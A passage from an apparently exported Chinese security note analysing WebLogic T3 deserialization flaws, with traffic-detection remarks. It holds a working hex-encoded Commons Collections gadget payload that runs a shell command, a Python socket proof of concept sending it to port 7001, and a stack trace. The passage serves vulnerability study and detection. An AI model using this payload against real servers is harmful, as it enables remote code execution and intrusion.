&#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6SkA-1673886074178&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8gYG-1673886074177&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Obss-1673886074180&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OAFC-1673886074179&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJSH-1673886074182&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hcKB-1673886074181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3nj-1673886074184&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1dta-1673886074183&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8UEC-1673886074186&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;um0a-1673886074185&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QwPy-1673886074188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bWQH-1673886074187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KHxA-1673886074190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4URA-1673886074189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwF1-1673886074192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5QcQ-1673886074191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2JSl-1673886074194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J2kK-1673886074193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BA7D-1673886074196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMJj-1673886074195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;org.apache.commons.collections.functors.InvokerTransformer&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hXET-1673886074198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RUqt-1673886074197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hc8B-1673886074200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7xyy-1673886074199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;luaE-1673886074202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMPL-1673886074201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XWzA-1673886074204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5JE9-1673886074203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NCtE-1673886074206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6sg-1673886074205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1fWs-1673886074208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2szw-1673886074207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dzIx-1673886074210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vX4e-1673886074209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AlVY-1673886900345&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5217/WEBRESOURCEad9893f1807a8bfe4e24f71ba84733c4&#34;,&#34;width&#34;:1492,&#34;height&#34;:216},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qay7-1673920222284&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lGMM-1673920222285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zh9v-1673920755180&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FsOY-1673920755133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;diIT-1673920755132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:58, MarshalledObject (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dgik-1673920755135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EGAu-1673920755134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76t0-1673920755137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TKlU-1673920755136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:57, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0OUt-1673920755139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lxGq-1673920755138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FP1A-1673920755141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y9gk-1673920755140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:601, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sETw-1673920755143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YFod-1673920755142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadResolve:1091, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PqKH-1673920755145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GkXj-1673920755144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1805, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j7VY-1673920755147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gVIc-1673920755146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7bgT-1673920755149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P55U-1673920755148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c9PD-1673920755151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cwLS-1673920755150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YEVR-1673920755153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RhK2-1673920755152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gDeV-1673920755155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7yAA-1673920755154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hqHG-1673920755157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IBie-1673920755156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nMw2-1673920755159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KBAp-1673920755158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;neQ1-1673920755161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8M7-1673920755160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gLL3-1673920755163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O8IF-1673920755162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uTlx-1673920755165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vd6r-1673920755164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5kaG-1673920755167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAz5-1673920755166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RdGP-1673920755169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S0fQ-1673920755168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;atnR-1673920755171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;seiJ-1673920755170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Scj7-1673920755173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rqV3-1673920755172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Phes-1673920755175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HtN5-1673920755174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jtCP-1673920755177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dx7Y-1673920755176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ehtn-1673920755179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R5sS-1673920755178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BJ5D-1673920224798&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JKyI-1673920224797&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一样通过InboundMsgAbbrev为入口进行数据的read操作，由readOrdinaryObject直接通过反射调用MarshalledObject.readResolve进行二次反序列化：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;It8n-1673921045949&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5227/WEBRESOURCE52413d95b1ec3902a87507998af82fb8&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ug37-1673921467121&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5238/WEBRESOURCE5167f9617801306c27a7de0cec56eba5&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HFjw-1673921480114&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5240/WEBRESOURCE1355df45d95fbb599f4afa5a1a223dcf&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;76Bz-1673921505120&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5242/WEBRESOURCEfa42c2239e3d3cb224b253ae2084fcba&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;763r-1673921505125&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTUk-1673921505123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;流量特征上，出现的类变为&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;，而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl，故weblogicScaner的检测项变为了&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;org.apache.commons.collections.functors.InvokerTransformer&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q9oS-1673920002593&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5219/WEBRESOURCEcc5ca083536ac7311b69e55852a8e032&#34;,&#34;width&#34;:635,&#34;height&#34;:546},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3zX-1673920205587&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5222/WEBRESOURCEdc1b0d12439c1f9f6fdc9dc8972f5702&#34;,&#34;width&#34;:637,&#34;height&#34;:543},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;np3H-1673920001206&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DBsz-1673920001205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FJUY-1673936935586&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ys9s-1673936935581&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2555&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OwuD-1673922234954&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yS31-1673922234953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ruzm-1673936953422&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;sBbI-1673936953408&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qU34-1673936953423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 3.7.1.17&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eE9f-1673936963388&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CKbL-1673936963387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 